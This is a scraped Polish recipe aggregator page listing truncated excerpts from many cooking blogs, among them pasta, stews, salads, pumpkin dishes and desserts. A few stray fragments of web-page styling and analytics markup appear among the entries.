minut. Doprawić pieprzem i solą. Wątróbkę umyć, oczyścić i pokroić w cienkie paski. Pozostały olej rozgrzać na patelni. Smażyć paski wątróbki aż się zetką i zrumienią. Do ciepłego sosu dodać ugotowany makaron, dodać bazylię lub oregano i całość dokładnie wymieszać. Rozłożyć do 4 miseczek lub głębszych talerzy. Na wierzchu ułożyć wątróbkę. Podawać posypane parmezanem lub dobrze rozpuszczającym się serem żółtym

Zielona Kuchnia
Kiełbasa w regionalnych daniach 166

dodatkiem duszonej kiełbasy podwawelskiej ekstra i pasty pomidorowej, to niewątpliwie strzał w dziesiątkę! Kulinarnym smakoszom ceniącym w kuchni oryginalność, polecamy zapiekankę warzywno-mięsną z wykorzystaniem kiełbasy żywieckiej i sosu na bazie skarmelizowanych śliwek i octu. Dania jednogarnkowe, niezwykle sycące i aromatyczne to wyróżnik kuchni kresów wschodnich. Unikatowość tych dań, ich regionalna specyfika, a także bogactwo smaków i aromatów stanowi najwyższą

Codogara
Marynowanie mięsa – przydatne wskazówki 182

dawki zwiększamy proporcjonalnie do potrzeb. Jaki smak? W zależności od dodatków możemy uzyskać różne smaki: kwaśny – uzyskamy dzięki użyciu cytrusów, owoców (np. ananasa) lub octu; słony – np. suszone pomidory, sos sojowy; ostry – uzyskamy go dodając np. czosnek, imbir czy kminek (nie należy z nim przesadzać); słodki – pochodzi ze świeżych owoców, miodu czy cukru. Ryby najlepiej jest łączyć ze smakami kwaśnymi

Słodkie okruszki
Dżem z dyni i pomarańczy 171

Dynia, dynia i jeszcze raz dynia. Ostatnimi czasy jemy ją niesamowicie często. Dodaję ją do gulaszy, sałatek oraz sosów. Tym razem jednak przyszedł czas na coś zupełnie innego. Pewnego dnia będąc na działce dostałam d naszych sąsiadów piękną, żółciutką i pachnącą dynię melonową. A konkretnie to nawet dwie. Po przyjściu do domu zaczęłam się zastanawiać co można z nią zrobić

Życie ze smakiem
Klopsy z kurczaka i grzybów 182

jest druga wersja tych klopsów. Mam już wystawione gotowane w sosie, teraz są smażone. Pyszne klopsiki. Można te klopsy upiec w piekarniku wtedy będzie wersja dietetyczna. Przygotowanie grzybów – do garnka wlać wodę i dodać pokrojone grzyby. Zagotować i doprawić do smaku solą. Gotować 5 minut. Następnie przelać grzyby przez sitko. Wody nie wylewać. Będzie potrzebna. Przygotowanie l;psów – mięso

Kuchnia Pokoleń
Musaka 164

kładziemy warstwę z plastrów bakłażana lekko nachodzących na siebie.  6. Bakłażany smarujemy beszamelem, nakładamy połowę mięsa i na mięso połowę startego sera. I znów układamy warstwę bakłażana, sosu, mięsa i sera. Ostatnia warstwa powinna składać się z bakłażana i wierzch beszamel (wykładamy resztę na bakłażana). Pieczemy ok. 45 minut. Smacznego

kruche babeczki
Kavarma - bułgarski gulasz z łopatki wieprzowej 260

Piękne duże kawałki mięsa zanurzone w sosie i podane z ziemniakami w mundurkach, to lubimy najbardziej. Kavarma to tradycyjny bułgarski gulasz w wieprzowiny duszonej w czerwonym winie z dużą ilością warzyw. Polecam gorąco bardzo sycące i pyszne danie na chłodne jesienne dni i zimowe mrozy. Kavarma - bułgarski gulasz z łopatki wieprzowej. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
KOTLETY Z KALAFIORA I ZIEMNIAKÓW 381

równo się obsmażyły. Można również smażyć kotlety na blaszce w piekarniku, ale my wolimy zdecydowanie takie z patelni.          z dodatkiem kurek  sosie śmietanowym Smacznego

Smaczne Zdrowe
Karczek, rolada z serem i pomidorami 190

Kochani mięsożercy pyszna karkówka w formie rolady poleca się do obiadu i kanapek.  Składniki: - 1 kg karkówki - 4 łyżki pesto z pomidorów, lub  sos domowej roboty - 5 plastrów sera żółtego - sól - pieprz - olej 1. Mięso myjemy i osuszamy. Tniemy nożem wzdłuż tworząc podłużny płat, który oprószamy solą oraz pieprzem (  kliknij tutaj po instrukcję  ). Jedną część smarujemy

Apetyczna babeczka
Makaron z cukinią 178

cukinią, czosnkiem i cebulką. Aromatyczny, prosty i szybki obiad dla zabieganych. Do makaronu na koniec dodałam jajka, dzięki czemu makaron ładnie połączył się z resztą, a jajka tworzą jakby sos. Do tego kilka przypraw i gotowe! Makaron z cukinią na szybko to smaczny obiad, który podaję z natką lub szczypiorem, czasem dodatkowo z serem. Składniki: 120 g makaronu świderki

Zasmakuj Kuchni
TAGLIATELLE W SOSIE ŚMIETANOWYM Z ORZECHAMI, ZIOŁAMI I PARMEZANEM! 179

TAGLIATELLE W SOSIE ŚMIETANOWYM Z ORZECHAMI, ZIOŁAMI I PARMEZANEM! Dzisiaj mam dla Was nie lada gratkę, danie w stylu włoskim, które postanowiłam Wam pokazać, jak krok po kroku je wykonać. Największym wyzwaniem miał być- tak się nam wydawało na początku- domowy makaron, ponieważ zazwyczaj jemy włoski makaron, a taki przygotować w domu jest ciężko, tym bardziej równe tagliatelle, jak się

SMYKWKUCHNI
Sałatka z rukolą i szynką parmeńską 374

talerze. Dodajemy kolejno kawałki szynki parmeńskiej i pokrojone w mniejsze kawałki pomidorki. 2 Całość posypujemy parmezanem i polewamy oliwą - możecie użyć także oliwy z suszonych pomidorów lub sosu balsamico. Artykuł Sałatka z rukolą i szynką parmeńską pochodzi z serwisu kuchniabazylii.pl - blog kulinarny

Kuchnia Bazylii
Rolada z piersi kurczaka 172

wyjmujemy i pozwalamy jej odpocząć przez 5 minut. Dzięki temu będzie soczysta wewnątrz. Mąkę ziemniaczaną rozprowadzamy w kilku łyżkach wody i wlewamy na patelnię. Mieszamy i pozwalamy aby sos gotował się przez chwilę. SAŁATKA: Do dużej miski wsypujemy szpinak, startą na grubych oczkach marchew, pokrojoną w pióra cebulę oraz pokruszone orzechy. Doprawiamy olejem, octem oraz pieprzem. W razie potrzeby

Kuchnia od dwojga
Surówka z czerwonej kapusty z koperkiem i czosnkiem 205

Lekko ostra sałatka z czerwonej kapusty. Ostrości nadaje jej czosnek, koloru kapusta, a zapachu i smaku koperek. Pasuje do dań mięsnych oraz klusek śląskich z sosem.  Składniki: pół główki małej kapusty czerwonej 2 łyżki soku z cytryny 1 cebula 3 czubate łyżki siekanego, świeżego koperku 2 ząbki czosnku, przeciśnięte przez praskę 1 płaska łyżeczka cukru pudru sól

Smak mojego domu
Klopsiki w sosie koperkowym 209

Klopsiki w sosie koperkowym to pyszny i szybki obiad dla całej rodziny. Ich smak zna pewnie większość z Was z dzieciństwa, albo sami je przygotowujecie własnym dzieciom. Są niesamowicie delikatne i jednocześnie aromatyczne. Danie jak najbardziej domowe. Polecam :) 500 g mięsa mielonego z łopatki wieprzowejpęczek koperku400 g śmietany 18%sól, pieprz, czosnek granulowanyolej rzepakowy

Krokusowy Dom
Sushi z kaszą jaglaną i gruszką 169

Całość dokładnie zwijamy za pomocą maty bambusowej. Pozostawioną część nori smarujemy wodą, rolujemy i ściskamy aby całość dokładnie się skleiła.  Rolkę kroimy na mniejsze, równe kawałki. Podajemy z sosem sojowym. SMACZNEGO

kulinarnyswiatdomi
Kokosowo-bananowy budyń jaglany z karmelizowanym ananasem 217

jeszcze kilka zalet. Przede wszystkim jest bardzo prosty w przygotowaniu i można go dowolnie modyfikować według własnych zachcianek. Ze wszystkimi dodatkami smakuje wspaniale, a może to być gorący sos malinowy, jabłko z cynamonem lub czekolada. Mnie tym razem zamarzyła się egzotyka, pewnie przez niską temperaturę i wiatr za oknem, stąd mój deser ma smak kokosa, banana i ananasa ze słodką

Smakowity Blog Kulinarny
Wegańska sałatka z zieloną soczewicą, Stranger Things 2 232

soczewicy; 2 kostki wędzonego tofu; 2 garście suszonej żurawiny; 1 główka zielonej sałaty (lub inne zielone liście np. szpinak, rukola, inny rodzaj sałaty); 5-6 pomidorów; ½ filiżanki prażonego słonecznika; sos winegret. Stranger things 2  – tak dobra, jak pierwsza seria! Serial dostępny na platformie Netflix od 27 października. Polecam!!!   Źródło/Source Salad with green lentils; Stranger Things 2 Ingredients

Qlinarnie i Qlinarnie
Zapiekane pomidory z mozzarellą 346

Czy też tak macie, że czasem wieczorem zastanawiacie się co można by zjeść na szybką, może niekoniecznie zdrową ale lekką kolację? Ja tak mam dość często

Kulinarnyblog.pl - wiesz jak gotować!
Sałatka z zupkami chińskimi 908

Czy wiecie, że popularne wśród studentów zupki chińskie możemy wykorzystać również do przygotowania smacznej sałatki? Pokażę Wam w jaki sposób przygotować sałatkę z zupkami chińskimi –

Kulinarnyblog.pl - wiesz jak gotować!
Aromatyczne i ziołowe pieczarki do obiadu 197

Jędrne, pachnące ziołami i cebulką pieczarki smażone w całości to idealny dodatek do obiadu. Inne w smaku niż tradycyjny sos przygotowywany z drobno pokrojonych pieczarek i cebulki. Może magię smaku zawdzięczają temu, że są przygotowywane do końca w całości? Coś w tym jest… Polecam jako dodatek do dań z ziemniaków, warzyw, makaronów, kasz, mięsa. Smacznego Składniki: 12 dużych obranych

Zasmakuj Kuchni
Tortellini w sosie serowo-pieczarkowym 172

praskę. 2. Na rozgrzanym oleju podsmażamy cebulę, po chwili dodajemy pieczarki. Dusimy do odparowania wody, dodajemy czosnek, natkę i śmietanę oraz przyprawy do smaku. Dusimy jeszcze chwilę do zgęstnienia sosu.  3. Do garnka przekładamy ugotowane tortellini oraz starty ser. Mieszamy

Szefowa kuchni
Tarta z musem czekoladowym i malinami 186

palnika. Dodać żelatynę, pokruszone czekolady i pozostawić do rozpuszczenia. Wymieszać. Dodać likier amaretto i wymieszać. Odstawić do całkowitego wystudzenia. W misie miksera ubić resztę śmietanki, dodawać partiami wystudzony sos czekoladowy. Wymieszać krótko tylko do połączenia składników. Mus przelać na spód tarty z malinami. Schodzić przez noc w lodówce

Pyry na Gaz
Sałatka z fasolą pinto, kiszoną rzodkiewką i czerwoną quinoą 196

wrzucamy do miski. Dodajemy czerwoną quinoę, ćwiartki pomidorków, plasterki kiszonych rzodkiewek i fasolę. Oliwę, musztardę, sok z cytryny, wodę, szczyptę soli i pieprzu mieszamy dokładnie razem i powstałym sosem polewamy sałatkę. Smacznego

Quinoa Raz!
Opowieść o Czerwonym Rycerzu. I tarta obłędnie czekoladowa 231

połowy, usunąć pestki. Ułożyć owoce w formie, równomiernie posypać cukrem. Piec w 200 st. C. przez 15 minut. Przestudzić. Owoce ułożyć na zastygniętym ganache, polać powstałym podczas pieczenia sosem. Posypać posiekanymi pistacjami, podawać. Smacznego! Jako, że przepis znalazłam w duńskiej gazecie, a wypełnianie ciast gęstym, czekoladowym kremem to zdecydowanie coś, co Duńczycy wręcz uwielbiają, dodaję go do akcji

Pożeraczka, czyli raz adobrze
Makaron z kurkami w sosie śmietanowym 197

Dzisiejsza moja propozycja na pyszny obiad to kurki. Pyszne, aromatyczne kurki w delikatnym kremowym sosie śmietanowym z makaronem farfalle, który idealnie pasuje do tego zestawu. Do tego danie jest szybkie,  łatwe  i bardzo pyszne, polecam. Składniki: 350 g makaronu farfalle 300 g kurek 1 cebula 1/2 pęczka koperku sól, pieprz 300 ml śmietany 30% masło do smażenia

magiczna kuchnia Kasi
Pałki kurze po Ciechocińsku 185

musicie całkowicie, tylko tam gdzie się da. Wstawić kurczaka do lodówki na godzinę. Nagrzać piekarnik do 200 C piec mięso przez 40-50 minut. Podczas pieczenia polewać wytworzonym sosem i odwracać co jakiś czas. Mięsko musi być upieczone i chrupiące. Podawać z podpieczonymi ziemniakami

Kuchnia Pokoleń
Placki z dynii 165

mąkę, przyprawy i wszystko razem mieszamy. Tak przygotowane ciasto kładziemy porcjami na patelnię z rozgrzanym tłuszczem i smażymy z dwóch stron na rumiany kolor. Takie placuszki wyśmienicie smakują z sosem czosnkowym. Smacznego

Dieta Rozdzielna i Zdrowie
Karkówka w marynacie ketchupowej pieczona w całości 172

przełożyć do blachy lub naczynia żaroodpornego i wstawić do rozgrzanego piekarnika. Piec w 180 stopniach do miękkości. W trakcie pieczenia karkówkę obracać na drugą stronę i polewać wytwarzającym się sosem. Po upieczeniu odczekać 15 minut i wtedy można ją kroić. (Dzięki temu soki zostaną w mięsie i będzie ono soczyste.) Majeranek , czosnek granulowany oraz inne przyprawy w niskich cenach możecie

Di gotuje
Recenzja książki “Zioła dla smaku, zdrowia i urody” 186

całego ciała – kremy do rąk i stóp, szampony, maseczki, pilingi, -przygotujesz ciekawe dania: makaron nagietkowy, podpłomyki z jarzębiną, lody bzowe a także przetwory oraz smakowite dodatki: ziołowe masła, sosy, przyprawy, -dowiesz się jak bez dużych nakładów finansowych zadbać o dobre samopoczucie i wygląd. Dziękuję Wydawnictwu Edgard za wspaniały poradnik! Ta książka znalazła się w mojej domowej biblioteczce na ulubionej

Pieguskowa Kuchnia
Domowa kostka rosołowa warzywna 183

rosołowe czy bulionetki w sklepie, a przecież domowa kostka rosołowa jest tak łatwa do przygotowania w domu. Kiedyś nagminnie korzystałam z kostek rosołowych i nie wyobrażałam sobie zupy czy sosu bez dodania chociaż odrobiny tego produktu. Teraz nie kupuję już gotowych kostek, ale korzystam ze swojej własnej. Nie ma w niej żadnych sztucznych konserwantów ani dodatków szkodliwych dla mojego zdrowia

Pieguskowa Kuchnia
Gulasz z dynią i ciecierzycą 155

dusimy około 20 minut aż dynia będzie miękka. W razie potrzeby podlewamy wodą. Pod koniec gotowania dodajemy pietruszkę oraz wszystkie przyprawy. Mieszamy i gotujemy jeszcze około 5 minut. Jeśli sos będzie bardzo wodnisty zaprawiamy go mąką. Smacznego

Życie ze smakiem
Makaron z sosem śmietanowym i szpinakiem 378

Niesamowicie prosty przepis na makaron ze szpinakiem, suszonymi pomidorami i czosnkiem. To pyszne danie z makaronem w sosie śmietanowym wychodzi za każdym razem. Składniki dobrałam tak, by nie było potrzeby dodawania dużej ilości przypraw. Super na obiad lub na kolację.. gorąco polecam również na szczególne okazje :-) Z dań bezmięsnych z makaronem gorąco polecam również: - makaron z fetą i pomidorami

AniaGotuje.pl
Surówka z czerwonej kapusty z granatem 225

Prosta, szybka i pyszna surówka z czerwonej kapusty. Wystarczą 2 składniki, do tego sos i mamy fajne połączenie, idealne do obiadu, do klusek, ziemniaków. Zasmakuje każdemu, jako niecodzienna wersja surówki z czerwonej kapusty. Czytaj więcej

Bernika - moj kulinarny pamietnik
Kopytka dyniowe 195

Dzisiaj zachęcam Was do przygotowania kopytek dyniowych, które mają piękny, pomarańczowy kolor i świetnie smakuje na słodko (posypane cukrem i podane ze śmietaną) jak i na słono (np. z sosem pieczeniowym). Poniższe kopytka są bardzo łatwe i szybkie do przygotowania (o ile wcześniej upieczemy dynię). Pamiętajcie o tym, że mąkę należy dosypywać stopniowo, ponieważ nadmiar mąki spowoduje, że kopytka będą

Ugotować
Zapiekanka ziemniaczana z kiełbasą wiejską 404

pomidorów. Następnie układamy kolejną warstwę ziemniaków, brokuła, mieszanki i kiełbasy.  3. Do miseczki wybijamy jajka, roztrzepujemy widelcem, dodajemy śmietanę, startą mozzarellę, sól i pieprz. Mieszamy. Tak przygotowanym sosem zalewamy zapiekanką. Ja górę posypałam jeszcze startą mozzarellą. 4. Zapiekamy w 180 stopniach około 40 minut. Smacznego

kruche babeczki
Sałatka z kaszy bulgur i kurczaka 147

razem z dymką. Wymieszaną kaszę dzielimy na dwie porcje. Jedną wysypujemy na dno misy, na niej układamy seler, zasypujemy kolejną warstwą kaszy. Na wierzch układamy mięso z kurczaka, zalewamy sosem z cukinii, groszku i kukurydzy. Posypujemy sałatą wymieszaną z dymką. Schładzamy. /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style

R'n'G Kitchen
Sałatka z wędzonym pstrągiem w jogurtowym sosie 198

paprykę kroimy w słupki a cebulę w cienkie plasterki. Wszystko dodajemy do pstrąga. Do jogurtu dodajemy posiekany koperek i chrzan. Dodatkowo przyprawiamy solą. Mieszamy ( ja użyłam małego miksera). Przygotowanym sosem polewamy sałatkę i SMACZNEGO. Wartość kaloryczna 1 porcji: ok. 250 kcal (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function

Smaki Ewy
Pieczone mini dynie hokkaido nadziewane quinoą, wędzoną śliwką, mieloną wołowiną i serem 198

około 190 stopni i pieczemy, aż dynie będą miękkie (czas pieczenia zależy też od ich wielkości). Po upieczeniu posypujemy obficie natką pietruszki i podajemy. Fajnie komponują się z pikantnymi sosami

Quinoa Raz!
Kolorowe kopytka 214

Dociskamy, formujemy walec i kroimy na kluseczki ostrym nożem. Kopytka gotujemy w osolonym wrzątku mieszając od czasu do czasu, aż do ich wypłynięcia. Dobrze smakują polane masłem, ze śmietaną, sosem lub jako dodatek do dania głównego. U nas polane zostały klarowanym masłem z cebulką oraz kiełbaską. Smacznego

Kuchnia od dwojga
Polędwiczki Wieprzowe w Sosie Na Bazie Koniaku 110

grubszą kosteczkę smażymy do zrumienienia, dodajemy czosnek przeciśnięty przez praskę. Dodajemy koniak intensywnie mieszając, dodajemy śmietanę. Przyprawiamy musztardą, solą, pieprzem, ziołami. jeszcze chwile gotujemy po czym wkładamy mięso do sosu i dodajemy pietruszkę. Smacznego

Dziś Ja gotuje
CUKINIE NADZIEWANE PODWAWELSKĄ 213

żeliwną wysmaruj masłem, ułóż cuknie i wstaw do piekarnika na 25 minut temp. 190-200 stopni C. Jogurt wymieszaj z solą czosnkową i wypustkami granatu. Gotowe cuknie podajemy z sosem i świeżymi listkami bazylii. Pyszne! Dodatkowo mam dla Was możliwość wzięcia udziału w prostym konkursie! Jeśli chcesz się podzielić swoim pomysłem na wykorzystanie jednego z trzech produktów oznaczonych certyfikatem QAFP

SMYKWKUCHNI
Wegetariański pasztet z dynią i komosą ryżową 161

suchej kaszy jaglanej 100 g suchej komosy ryżowej 100 ml oleju rzepakowego + 2-3 łyżki do smażenia duża czerwona cebula 160 g puree z dynii 2 łyżki sosu sojowego tamari 2 liście laurowe 2 ziarna ziela angielskiego łyżeczka majeranku łyżeczka suszonej natki pietruszki 0/5 łyżeczki lubczyku łyżeczka świeżego tymianku szczypta gałki muszkatołowej szczypta kurkumy sól i pieprz do smaku Soczewicę

Mienta blog
Obiad w kwadrans? Filet z kurczaka z kaszą pęczak i warzywami 222

dodaj do mięsa i warzyw na patelni Inne moje pomysły na filet z kurczaka znajdziesz poniżej: Filet z kurczaka ze szpinakiem i suszonymi pomidorami Filet z kurczaka w sosie jogurtowo- koperkowym zapiekany pod pierzynką z sera Filet z kurczaka w szynce parmeńskiej czyli jak ożywić nudnego kurczaka Smacznego

Oka w rosole czyli KaFka gotuje
jajeczno-grzybowe kotleciki... 230

wylać na durszlak, opłukać ponownie grzyby włożyć do garnka, wlać zimnej wody do zakrycia grzybów i gotować z 30 minut, ponownie wylać na durszlak, wywar można zamrozić, użyć do sosu, zupy, bigosu grzyby posiekać na drobno, usmażyć z cebulą na oleju i wystudzić, przecisnąć przez kratkę do jajek jajka na twardo grzyby dobrze wyrobić z jajkami, tartą bułką, bułką wymoczoną

W Mojej Kuchni Lubię
Talerz pełen owoców morza 221

się otworzyć, oznacza to że są już gotowe. Dodać pozostałe podsmażone owoce morza i dokładnie wymieszać. Obsypać pozostałą natką pietruszki. Wyłożyć owoce morza na duży talerz i oblać powstałym sosem. Serwować z kawałkiem cytryny. Cudne danie, dziękuje moim dzieciakom

Kuchnia Pokoleń
Gołąbki z bulgurem i dynią 143

lekko sparzamy, studzimy. Farsz układamy na każdym liściu i zawijamy. Gołąbki układamy w naczyniu żaroodpornym, zalewamy rosołem, pieczemy 90 min pod przykryciem w temperaturze 180°C. Podajemy z ulubionym sosem. U nas grzybowy <3 st1\:*{behavior:url(#ieooui) } /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow

R'n'G Kitchen
GOŁĄBKI Z SUSZONYMI POMIDORAMI 173

garnku ułożyć na dnie liścia , który nam został i układać ciasno gotowe sztuki. Zalać osoloną wodą i gotować ok 30 minut aż będą miękkie. Podawać na gorąco z ulubionym sosem

pieprzny smaczek
Gulasz z dzika z grzybami 359

dodać grzyby z cebulą. Całość zalać bulionem i doprawić do smaku solą i pieprzem. Mięso dusić na małym ogniu w razie potrzeby podlać bulionem. Kiedy mięso będzie już miękkie, sos zagęścić wodą z mąką. Smacznego

magiczna kuchnia Kasi
Grzybowy pasztet z soczewicy 172

godny polecenia i wypróbowania.   1 puszka soczewicy gotowanej garść suszonych podgrzybków 1 cebula 100 g masła sól, pieprz, maggi   galaretka (opcjonalnie) 100 ml wrzącej wody 1 łyżka sosu sojowego poł łyżeczki żelatyny   Grzyby moczyć w wodzie przynajmniej przez godzinę, następnie ugotować w osolonej wodzie przez 30 minut. Odcedzić. Na maśle usmażyć na złoty kolor poszatkowaną cebulę. Grzyby

Jadło i czytadło
SZYNKA PIECZONA Z PAPRYKĄ I SOSEM SOJOWYM 219

PRZYBLIŻONY CZAS PRZYGOTOWANIA: 60 MINUT (+ 12 GODZIN MARYNOWANIE) ORIENTACYJNA CENA POTRAWY: 10 ZŁ. ILOŚĆ PORCJI: 2 Składniki podstawowe: 50 dag szynki wieprzowej. Składniki marynaty: 2 łyżki oleju, łyżka ciemnego sosu sojowego, płaska łyżeczka soli, łyżeczka czosnku po staropolsku, łyżeczka suszonej natki pietruszki, 1/2 łyżeczki ostrej papryki, łyżeczka papryki czerwonej słodkiej w płatkach. Przygotowanie: Składniki marynaty łączę i dokładnie nacieram mięso

JejKuchnia
Pieczony kalafior – kalafior inaczej 270

świetnie smakuje, ładnie pachnie i szybko znika w głodnych brzuszkach, zbierając liczne pochwały. Dobry na ciepło i na zimno. I wiecie co, doskonały na imprezę! Wystarczy dorobić do niego sos i można śmiało, bez kompleksów miskę z takim kalafiorem stawiać obok miski z czipsami. Kto na co się zdecyduje, jego sprawa, ale dajemy zdrowy wybór I mój mąż, który zbytnim

Mieszam w Garnku
Pieczone ziemniaki 547

Piec ziemniaki mogę codziennie. Są one pysznym dodatkiem do mięsa, a jeśli chcemy z niego zrezygnować to smakują również wybornie z np. sosem czosnkowym. Potrzebujemy: Czytaj więcej

Tylko pysznie
Kotleciki ziemniaczane z kurkumą i natką pietruszki 355

masy, formujemy kotleciki i obtaczamy je w bułce tartej. Smażymy z obu stron. Kotleciki powinny się nam ładnie zarumienić. Podajemy jako dodatek do mięsa, warzyw, lub jemy same z sosem np. czosnkowym lub innym. Smacznego

kruche babeczki
Wege mielone z kaszy jaglanej i kalafiora 188

jakoś nie miałam ochoty na mięso. W Jadłonomii znalazłam przepis na wege mielone i postanowiłam dać im szansę. Kotlety przygotowuję na bazie kaszy jaglanej i startego kalafiora z dodatkiem sosu sojowego (musi być umami :) ), faszeruję pieczarkami, zapiekam i podaję z ulubionymi dodatkami. Z podanej porcji wychodzi 10 średniej wielkości kotletów. Polecam

Milion Smaków
Knedle ze śliwkami 159

przepisów-wariacji na temat kuchni polskiej, gdzie typowo polskie składniki czy danie zyskało nowe oblicze (sałatka jarzynowa z krabem, tuńczyk marynowany w żubrówce, gołąbki z jagnięciną w pomidorowo-cynamonowym sosie). Danie jakie wybrałam do przygotowania na pierwszy ogień to knedle ze śliwkami. U nas w domu nie gotowało się takich knedli, więc do ich przygotowania potrzebuję przepisu, a poza

Cooking for Emily
Przepis Anety na tajskie lody smażone 165

Kuchni Anety   , dzisiaj polecam przepis na tajskie lody smażone. Składniki: 1kg - lody 100g - posiekane orzechy laskowe 100g - wiórki kokosowe 5szt - herbatniki 2 szt - jajka opcjonalnie : sos śliwkowy- czekoladowy, sezam Z lodów formujemy kule o średnicy ok 4cm i układamy na blasze. Wkładamy do zamrażalnika na 2 godziny. Ubijamy pianę z białek z odrobiną soli. Dodajemy żółtka i delikatnie

Kurnikowo
Warzywne frytki 191

Warzywne frytki Batat  Marchew  Korzeń pietruszki  Ziemniak   Tymianek   Oliwa z oliwek   Ogórek kiszony (eko Lidl ) SOS bieluch z czosnkiem Warzywa kroimy, skrapiamy oliwą i posypujemy tymiankiem.   Wstawiamy do piekarnika nagrzanego na 200 stopni Pieczemy 20 minut

Szkrab Je Sam
Kasza jaglana z szpinakiem i mlekiem kokosowym 196

dodajemy do cebuli.Zalewamy dwoma szklankami wody i 1 szklanką mleka kokosowego. Nakrywamy pokrywką. Dusimy na małym ogniu do czasu gdy szpinak zmniejszy swoją objętość i cały zanurzy się w sosie. Dodajemy resztę mleka kokosowego, czosnek przeciśnięty przez praskę, gałkę muszkatołową, trawę cytrynową, czarnuszkę, doprawiamy pieprzem i solą. Dusimy na mały m ogniu 10 minut. Ściągamy z ognia. Chwilę blendujemy, Dodajemy

Szkrab Je Sam
Kapusta Pak Choi - pomysł na obiad 244

cytryny  posypana rozgniecionymi pestkami  #dynii  i orzechami  #nerkowca   - kasza  #bulgur  z natką  #pietruszki , olejem #konopnym  i oregano.  -  #sos   #pomidorowy  - przecier pomidorowy, woda, suszona wloszczyzna, czosnek, cebula, przyprawa curry  Dary Natury  - wszystko razem gotowane około 40 minut na malutkim ogniu, następnie zblendowane. - ogórki  #kiszone

Szkrab Je Sam
Pierogi z piekarnika z mąki grochowej z soczewicą i dynią makaronową 273

jakiś czas temu zamieniliśmy na krzesło ale wkrótce będziemy mieć profesjonalny kitchen helper - wykonany przez tatę Szkrabiny (napewno Wam pokażę). Pierogi można zjeść bez niczego, można podać z surówką, sosem pomidorowym, czy polać roztopionym masłem Składniki: Ciasto : - 2 szklanki mąki grochowej - 5 łyżek oliwy z oliwek - 1 szklanka wrzątku - sól do smaku - mąka 00 do pizzy około 1 szklanki

Szkrab Je Sam
Wątróbka drobiowa z jabłkiem – przepis 258

niej opiekane ziemniaki. Smacznego. wątróbka drobiowa z jabłkiem Zapraszam również do skorzystania z innych przepisów: Gulasz z żołądków z indyka Krokiety z kapustą kiszoną i grzybami Gnocchi w sosie serowym Artykuł Wątróbka drobiowa z jabłkiem – przepis pochodzi z serwisu Księga Smaku

Księga-Smaku
Sos z mango, habanero chocolate i kolendry 203

Sos z moim ulubionym balansem smaków: słodkiego, kwaśnego i ostrego. Dość standardowe połączenie magno z kilkoma gatunkami ostrych papryczek i dużą ilością świeżej kolendry. To oczywiście nie wszystko - jest też mnóstwo innych dodatków, żeby stworzyć smak, który będzie rozpoznawalny w kanapkach, tostach czy jako dodatek do mięs i warzyw

Milion Smaków
Grzybowe krokiety z kurczakiem, szczypiorkiem, natką pietruszki i żółtym serem 194

startym na drobnych oczkach żółtym serem. Naleśnik zwijamy w kopertę. Każdy krokiet panierujemy w rozmąconym jajku i bułce tartej. Obsmażamy na rumiano na patelni. Takie krokiety możemy podać z sosem koperkowym lub czosnkowym

VioletoweKucharzenie
szybkowar-pomidory zmiksowane na zimę pasteryzowane w piekarniku... 149

wystygnięcia szybkowar mam 9 litrowy, porcjami pomidory przygotowuję, wkładam pomidory do 3/4 wysokości szybkowara, jest tam zaznaczona ilość max. - sok pomidorowy jest najlepszym przetworem zimowym, używam do zup, sosów, koktajli, do picia, bardzo łatwy do wykonania i dobrze się przechowuje po pasteryzacji w piekarniku........SMACZNEGO

W Mojej Kuchni Lubię
Imbirowe skrzydełka. 183

zarówno impreza, jak i nasze pogaduszki odbyły się w tygodniu imbirowym. Nie mogłam nie wykorzystać tego pomysłu :) Składniki: 1 kg skrzydełek 4 łyżki płynnego miodu 4 łyżki ciemnego sosu sojowego  4 łyżki białego wina wytrawnego 2 cm startego imbiru sól Wykonanie: Skrzydełka umyć, osuszyć i obciąć końcówki. Oprószyć solą. Składniki na marynatę wymieszać. Skyrzdełka obtoczyć dokładnie w marynacie. Odstawić

zadanie-gotowanie
Kokardki z dynią pierzastą i pure z dyni Hokkaido-zapiekanka 185

pokrojona w kostkę. Dodaj przypraw, ziół. Podsmaż. Dodaj paprykę i pomidory . Przykryj pokrywką, duś. Kiedy pomidory się rozpadną dodaj puree z dyni. Duś. Makaron wymieszaj z gotowym gęstm dyniowym sosem. Formę dużą, prostokątną nasmaruj oliwą z oliwek i wyłóż makaron. Posyp gęsto parmezanem. Zapiekaj do pół godziny ,aż ser się rozpuści. Podawaj z parmezanem, ot i cała filozofia. Buon appetito

Z Kuchni Do Kuchni
Kotlety z opieniek 189

aromatyczne kotlety z opieniek to znakomity pomysł na obiad. Opieńki to bardzo smakowite i delikatne grzyby i warto korzystać z dobrodziejstw natury właśnie teraz. Zajadaliśmy kotlety z aromatycznym czosnkowym sosem, pyszne. Kotlety z opieniek. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Spaghetti puttanesca 181

sekund. Następnie dodajemy kapary, oliwki pokrojone pomidory i passatę. Całość przesmażamy 1-2 minuty Makaron ugotowany al dente (wraz z odrobiną wody, w której się gotował)wrzucamy bezpośrednio do sosu, potrząsamy patelnią,żeby połączyć  składniki, ew, solimy i pieprzymy. Na koniec posypujemy posiekaną natką pietruszki

Kopystką po garach
Gulasz z bakłażanem – przez żołądek do serca 244

wrzucić świeże winogrona. Winogrona można swobodnie zamrozić i ja używam takich przez resztę roku. Gotuj gulasz jeszcze przez 15 minut. Ułóż bakłażany na wierzchu gulaszu lekko je zatapiając w sosie. Ostatni raz zagotuj gulasz. Podaj gulasz z ryżem po persku, czyli ryżem z szafranem.         Spara Spara Spara Spara Spara Spara The post Gulasz z bakłażanem

codojedzenia
Pasztet z dyni 218

trzeba obierać ze skóry. Dynie pieczemy w temperaturze 180 stopni przez około 30 minut. Po wystudzeniu miksujemy na gładką masę. Tak przygotowana dynię można wykorzystać do pasztetów, past, sosów i deserów. Po upieczeniu można ją przechowywać 3 dni w lodówce. po tym czasie dynia fermentuje. Najlepiej taką masę zamrozić. Cebulę i por siekamy i podsmażamy na maśle. Pod koniec smażenia

Przysmaki Karolki
Tarta z rydzami 154

